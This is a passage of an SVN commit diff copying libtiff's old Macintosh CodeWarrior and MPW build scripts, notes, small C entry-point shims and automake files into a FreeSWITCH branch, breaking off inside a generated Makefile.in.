+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/Makefile.script	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+
+(* You must manually set the top-level PATHNAME here; everything else is automatic *)
+
+set PATHNAME to "ritter:tiff-v3.4beta028:"
+set PRINTING to "NO"
+
+set MKG3STATES to PATHNAME & "mkg3states.mw"
+set LIBTIFF to PATHNAME & "libtiff-68K.mw"
+set TIFFINFO to PATHNAME & "tiffinfo.mw"
+
+with timeout of 60000 seconds
+	tell application "MW C/C++ 68K 1.2.2"
+		
+		activate
+		
+		
+		(* Create tif_fax3sm.c file *)
+		Create Project {file MKG3STATES}
+		Add Files {"mkg3states.c", "mkg3_main.c", "getopt.c"}
+		Add Files {"MacOS.lib"} To Segment 2
+		Add Files {"ANSI (4i/8d) C.68K.Lib"} To Segment 3
+		Add Files {"SIOUX.68K.Lib"} To Segment 4
+		Add Files {"MathLib68K (4i/8d).Lib"} To Segment 5
+		
+		Set Preferences To {Activate CPlusPlus:false, ARM Conformance:false, ANSI Keywords Only:false, Require Function Prototypes:false, Expand Trigraph Sequences:false, Enums Always Ints:false, MPW Pointer Type Rules:false, Prefix File:"mac_main.h"}
+		Set Preferences To {Illegal Pragmas:false, Empty Declarations:false, Possible Errors:false, Unused Variables:false, Unused Arguments:false, Extra Commas:false, Extended Error Checking:false}
+		Set Preferences To {Code Model:2, Struct Alignment:0, MC68020 CodeGen:false, MC68881 CodeGen:false, Four Bytes Ints:true, Eight Byte Double:true, Peephole Optimizer:true, CSE Optimizer:true, Optimize For Size:true, Far Data:true, Use Profiler:false, Far Virtual Function Tables:false, Far String Constants:true}
+		Set Preferences To {MacsBug Symbols:2, Generate SYM File:false, Full Path In Sym Files:true, Generate Link Map:false, Generate A6 Stack Frames:true, The Debugger Aware:false, Link Single Segment:false, Fast Link:true}
+		Set Preferences To {Project Type:0, File Name:"mkg3states", File Creator:"????", File Type:"APPL"}
+		
+		Make Project
+		Run Project
+		Remove Binaries
+		Close Project
+		
+		
+		(* Create LIBTIFF *)
+		Create Project {file LIBTIFF}
+		Add Files {"tif_apple.c", "tif_aux.c", "tif_close.c", "tif_codec.c", "tif_compress.c", "tif_dumpmode.c", "tif_error.c", "tif_flush.c", "tif_lzw.c", "tif_next.c", "tif_open.c", "tif_packbits.c"}
+		Add Files {"tif_fax3.c"} To Segment 2
+		Add Files {"tif_dirinfo.c", "tif_dir.c", "tif_dirwrite.c", "tif_dirread.c"} To Segment 3
+		Add Files {"tif_predict.c", "tif_print.c", "tif_read.c", "tif_strip.c", "tif_swab.c", "tif_thunder.c", "tif_tile.c", "tif_version.c", "tif_zip.c", "tif_jpeg.c", "tif_warning.c", "tif_write.c"} To Segment 4
+		Add Files {"tif_fax3sm.c"} To Segment 5
+		Add Files {"tif_getimage.c"} To Segment 6
+		
+		Set Preferences To {Activate CPlusPlus:false, ARM Conformance:false, ANSI Keywords Only:false, Require Function Prototypes:false, Expand Trigraph Sequences:false, Enums Always Ints:false, MPW Pointer Type Rules:false, Prefix File:"MacHeaders68K"}
+		Set Preferences To {Illegal Pragmas:false, Empty Declarations:false, Possible Errors:false, Unused Variables:false, Unused Arguments:false, Extra Commas:false, Extended Error Checking:false}
+		Set Preferences To {Code Model:2, Struct Alignment:0, MC68020 CodeGen:false, MC68881 CodeGen:false, Four Bytes Ints:true, Eight Byte Double:true, Peephole Optimizer:true, CSE Optimizer:true, Optimize For Size:true, Far Data:true, Use Profiler:false, Far Virtual Function Tables:false, Far String Constants:true}
+		Set Preferences To {MacsBug Symbols:2, Generate SYM File:true, Full Path In Sym Files:true, Generate Link Map:false, Generate A6 Stack Frames:true, The Debugger Aware:false, Link Single Segment:false, Fast Link:true}
+		Set Preferences To {Project Type:2, File Name:"libtiff-68K", File Creator:"????", File Type:"APPL"}
+		Make Project
+		Close Project
+
+		Create Project {file TIFFINFO}
+		Add Files {"tiffinfo.c", "mac_main.c", "getopt.c"}
+		Add Files {"MacOS.lib"} To Segment 2
+		Add Files {"ANSI (4i/8d) C.68K.Lib"} To Segment 3
+		Add Files {"SIOUX.68K.Lib"} To Segment 4
+		Add Files {"MathLib68K (4i/8d).Lib"} To Segment 5
+		Add Files {"libtiff-68K"} To Segment 6
+		
+		Set Preferences To {Activate CPlusPlus:false, ARM Conformance:false, ANSI Keywords Only:false, Require Function Prototypes:false, Expand Trigraph Sequences:false, Enums Always Ints:false, MPW Pointer Type Rules:false, Prefix File:"mac_main.h"}
+		Set Preferences To {Illegal Pragmas:false, Empty Declarations:false, Possible Errors:false, Unused Variables:false, Unused Arguments:false, Extra Commas:false, Extended Error Checking:false}
+		Set Preferences To {Code Model:2, Struct Alignment:0, MC68020 CodeGen:false, MC68881 CodeGen:false, Four Bytes Ints:true, Eight Byte Double:true, Peephole Optimizer:true, CSE Optimizer:true, Optimize For Size:true, Far Data:true, Use Profiler:false, Far Virtual Function Tables:false, Far String Constants:true}
+		Set Preferences To {MacsBug Symbols:2, Generate SYM File:false, Full Path In Sym Files:true, Generate Link Map:false, Generate A6 Stack Frames:true, The Debugger Aware:false, Link Single Segment:false, Fast Link:true}
+		Set Preferences To {Project Type:0, File Name:"tiffinfo", File Creator:"????", File Type:"APPL"}
+		
+		Make Project
+		Close Project
+		
+	end tell
+end timeout

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+----------------------------------------------------
+Build instructions for LIBTIFF - CodeWarrior (6.1):
+----------------------------------------------------
+
+In this directory you will find a Makefile.script Applescript
+file, which should be run in order to build the libtiff code
+using MetroWerks CodeWarrior.
+
+Refer to the "metrowerks.note" instructions on building the
+library for 68k and PowerPC native code, as well as building
+some of the libtiff tools, which are rather unix-like, but
+at least give an example of how to link everything together.
+
+  Questions, comments, bug reports to Niles Ritter
+  (ndr@tazboy.jpl.nasa.gov). Sam Leffler takes no responsibility
+  for the viability of this stuff.
+  
+    -Niles.

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/mac_main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+/*
+ *  mac_main.c -- The REAL entry point which
+ *   calls the tools main code. For the tools
+ *   the symbol "main" has been #defined to "tool_main"
+ *   so that this entry point may be used to access
+ *   the user-input first.
+ */
+
+#undef main
+
+int
+main()
+{
+	int argc;
+	char **argv;
+	
+	argc=ccommand(&argv);
+
+	return tool_main(argc,argv);  // Call the tool "main()" routine
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/mac_main.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mac_main.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+/* 
+ * mac_main.h  -- redefines main entry point
+ */
+ 
+#ifndef _mac_main_h
+#define _mac_main_h
+
+#undef main
+#define main tool_main
+
+#endif  /* _mac_main_h */
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/metrowerks.note

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/metrowerks.note (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/metrowerks.note) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/metrowerks.note	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/metrowerks.note	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+----------------------------------------------------
+Build instructions for LIBTIFF - CodeWarrior (6.1):
+----------------------------------------------------
+
+Note: there is a bug in CW earlier than 6.1 which will generate
+16-bit offset link errors for any projects using libtiff; you must
+download the CodeWarrior 6.1 patch located at:
+
+  ftp://ftp.metrowerks.com/pub/updates/metro-patches-61.hqx
+
+unpack the archive, insert the files and recompile the libraries
+using the AppleScript provided.
+
+
+1. Make sure that the directory containing these files is under
+   the "contrib" directory of the tiff folder; otherwise, some
+   access path preferences will need to be updated.
+
+2. The instructions below are for the 68k platform build. 
+    A similar script can be put together for the PPC version,
+    or you can just directly convert the projects. Be sure to
+   use the native libraries as well. NOTE: if anyone cooks  
+  up an equivalent script for PPC, send it to me and I'll include
+  it with the rest of the package.
+
+3.   Open the file Makefile.script with an AppleScript Editor
+   and change the PATHNAME variable to point to your
+   top-level TIFF directory
+
+4. Run the Script. It will do the following things:
+ 
+   4a. Prompt you for the current location of the CodeWarrior 68K
+   program.
+
+   4b. Create the source file "tif_fax3sm.c":
+
+        i) Build the project CW project mkg3states.cw. It will
+     produce a small program called mkg3states. Only a
+     68k version is provided, since you only have to run
+     this code once, and it only takes a few seconds.
+     
+        ii) Run the built mkg3states program: 
+        
+    The program will temporarily take over ALL of the CPU, so
+    don't panic. After a few seconds it will produce a file called
+    "tif_fax3sm.c".
+
+  4c. Build the library project libtiff-68K.mw, producing library
+   called libtiff-68K.
+
+  4d. Build program project tiffinfo.mw; it will produce a
+   program called tiffinfo, which can dump the tiff tags of
+   a named file. Passing in no arguments will dump a help file
+   for the program. It is unix-flavored, but hey, it works.
+
+5  When the script finishes, you will have a usable libtiff-68K
+   library, a passable "tiffinfo" program, and the projects used
+   to build them. Note that to get tiffinfo to work I have put 
+   an include file in the project that redefines main(), and
+   then have a mac_main.c program that calls ccommand() first
+   and passes that to the actual main code. A real mac app,
+   of course, would never use this stuff at all...
+
+ . The tiffinfo.mw project may be used as a template to build
+   most of the other libtiff tools, or your own code. When
+   modifying a copy of the project, you will most likely need
+   to update the "Access Paths" directory if it is moved out of
+   the contrib folder.
+   
+6. If you are going to create a project from scratch, be sure
+   to set up the preferences with 
+   
+      4-byte ints
+      8-byte doubles
+      Far Code/Far Data
+      Large Linking model
+      
+   and everything should work fine. If the console-style error
+   reports bother you, you can always override the error and
+   warning mechanism with TIFFSetErrorHandler to do something
+   more Mac-like.
+
+Questions, comments to Niles Ritter (ndr@tazboy.jpl.nasa.gov).
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mkg3_main.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mkg3_main.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/mkg3_main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mkg3_main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/mkg3_main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+/*
+ *  mkg3_main.c -- passes fake arguments into main
+ */
+
+#undef main
+
+int
+main()
+{
+	static char *argv[4] = {
+	 "mkg3states", "-c", "const", "tif_fax3sm.c" };
+	
+	return tool_main(4,argv);  // Call the tool "main()" routine
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/version.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/version.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-cw/version.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/version.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-cw/version.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+#define VERSION \
+"LIBTIFF, Version 3.4beta028 \n"\
+"Copyright (c) 1988-1995 Sam Leffler\n"\
+"Copyright (c) 1991-1996 Silicon Graphics, Inc."

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/BUILD.mpw

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/BUILD.mpw (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/BUILD.mpw) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/BUILD.mpw	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/BUILD.mpw	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,47 @@
+# BUILD.mpw:  
+#
+#   Full build for Apple Macintosh Programmer's Workshop (MPW).
+#
+#  This is an executable MPW script which creates various
+#  utilities, sets up the MPW makefiles and runs the builds.
+#  This script should be run at the top level TIFF directory with:
+#
+#     directory :::
+#     :contrib:mac-mpw:BUILD.mpw
+#
+#  NOTE: The full build requires that MPW have at least 6 MB
+#   allocated to it to compile the CCITT Fax codec tables. To
+#   deactivate CCITT compression edit the file :contrib:mac:libtiff.make
+#   first and follow the directions for disabling Fax decoding.
+#
+#  All TIFF tools are built as MPW tools, executable from the
+#  MPW shell or other compatible tool server.
+#
+#  Written by: Niles Ritter (ndr@tazboy.jpl.nasa.gov).
+#
+
+echo "############# Full Scratch Build for MPW #############"
+
+# Create the ascii->mpw translation tool; this is used to
+# convert standard ASCII files into ones using the special
+# MPW characters, which don't live comfortably in unix tar files.
+#
+echo "######## Creating ASCII->MPW translator ########"
+set contrib ':contrib:mac-mpw:'
+directory {contrib}
+createmake -tool mactrans mactrans.c > dev:null
+make -f mactrans.make | streamedit -e "/CSANELib/||/Math/||/ToolLibs/ del" > mactrans.bld
+execute mactrans.bld  > dev:null
+delete -y mactrans.make mactrans.bld mactrans.c.o || set status 0
+directory :::   #An mpw trick for going up two levels
+
+# Create the top-level Makefile and run it
+echo "######## Creating Makefile ########"
+catenate {contrib}top.make | {contrib}mactrans > Makefile
+
+echo "######## Running Makefile ########"
+make  > build.mpw
+execute build.mpw
+echo "############# MPW Build Complete #############"
+exit 0
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = BUILD.mpw README libtiff.make mactrans.c port.make tools.make top.make
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/mac-mpw
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = BUILD.mpw README libtiff.make mactrans.c port.make tools.make top.make
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/mac-mpw/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/mac-mpw/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
